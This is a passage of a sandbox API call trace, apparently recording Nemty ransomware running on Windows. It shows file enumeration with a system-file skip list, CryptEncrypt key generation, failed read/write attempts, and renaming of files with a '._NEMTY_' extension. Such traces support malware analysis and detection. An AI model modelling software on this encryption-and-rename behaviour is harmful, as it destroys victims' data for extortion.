Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\navback.png._nemty_kgobjgd_")) returned 0 [0145.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0145.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0145.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0145.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0145.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0145.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0145.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0145.357] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f5ce6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f5ce6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="rssBackBlue_docked.png", cAlternateFileName="")) returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2=".") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="..") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="...") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="windows") returned -1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="$RECYCLE.BIN") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="rsa") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="NTDETECT.COM") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="ntldr") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="MSDOS.SYS") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="IO.SYS") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="boot.ini") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="boot.ini") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="AUTOEXEC.BAT") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="ntuser.dat") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="desktop.ini") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="CONFIG.SYS") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="RECYCLER") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="BOOTSECT.BAK") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="bootmgr") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="programdata") returned 1 [0145.357] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2="appdata") returned 1 [0145.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0145.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_docked.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0145.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_docked.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssBackBlue_docked.png", lpUsedDefaultChar=0x0) returned 22 [0145.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0145.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_docked.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0145.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_docked.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssBackBlue_docked.png", lpUsedDefaultChar=0x0) returned 22 [0145.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0145.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0145.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0145.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_docked.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0145.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_docked.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssBackBlue_docked.png", lpUsedDefaultChar=0x0) returned 22 [0145.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0145.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0145.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_docked.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0145.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0145.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_docked.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssBackBlue_docked.png", lpUsedDefaultChar=0x0) returned 22 [0145.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0145.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0145.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0145.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401c8 [0145.358] Sleep (dwMilliseconds=0x5) [0145.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa4990f0, dwHighDateTime=0x1d561e8)) [0145.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa4990f0, dwHighDateTime=0x1d561e8)) [0145.359] GetLastError () returned 0x5 [0145.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.359] GetLastError () returned 0x5 [0145.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0145.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0145.359] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0145.359] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0145.359] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0145.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0145.359] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="lVGmMllYNCAT9HXlLj57FMnUWyYmYEyZ0iLHamPuXY5LM8zCm7cWnmva5aW20qeR\r\nygLzKfqvX6Tu4q1b4Ib8uU9yLUKMMpjAWIdzsrVixCPjpyCFI0XNY2dqMNsihDFi\r\nB+ysL5rTtNI6+/bAkWFbBWafb0vEbumnt9mWcDzbk3MjKGxgLBp1SQxJ4IItEAzP\r\nMnYXkAiKHeG77f4K6ER49Gwf5g28t2rLRen8KgwKiPBjAcyfEErRfyIsr0OMjCCo\r\nmgf+5v2quKnQsIcbG1vpVdgKBSrfh0a5N/5XrKE84MZdXqovzsAvVKc87Ce1BQa6\r\nPnVaH6lg35b1yOMtUSg8RQ==\r\n", pcchString=0x653e91c) returned 1 [0145.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0145.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0145.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0145.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0145.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0145.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0145.359] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_docked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.360] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0145.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0145.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.369] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.407] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.426] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.426] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.445] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0145.466] CloseHandle (hObject=0xffffffff) returned 0 [0145.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0145.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0145.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0145.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0145.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0145.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0145.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0145.467] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_docked.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_docked.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_docked.png._nemty_kgobjgd_")) returned 0 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0145.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.467] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f82fcc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f82fcc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22ee, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="rssBackBlue_Undocked.png", cAlternateFileName="")) returned 1 [0145.467] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2=".") returned 1 [0145.467] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="..") returned 1 [0145.467] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="...") returned 1 [0145.467] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="windows") returned -1 [0145.467] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="$RECYCLE.BIN") returned 1 [0145.467] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="rsa") returned 1 [0145.467] lstrcmpiW 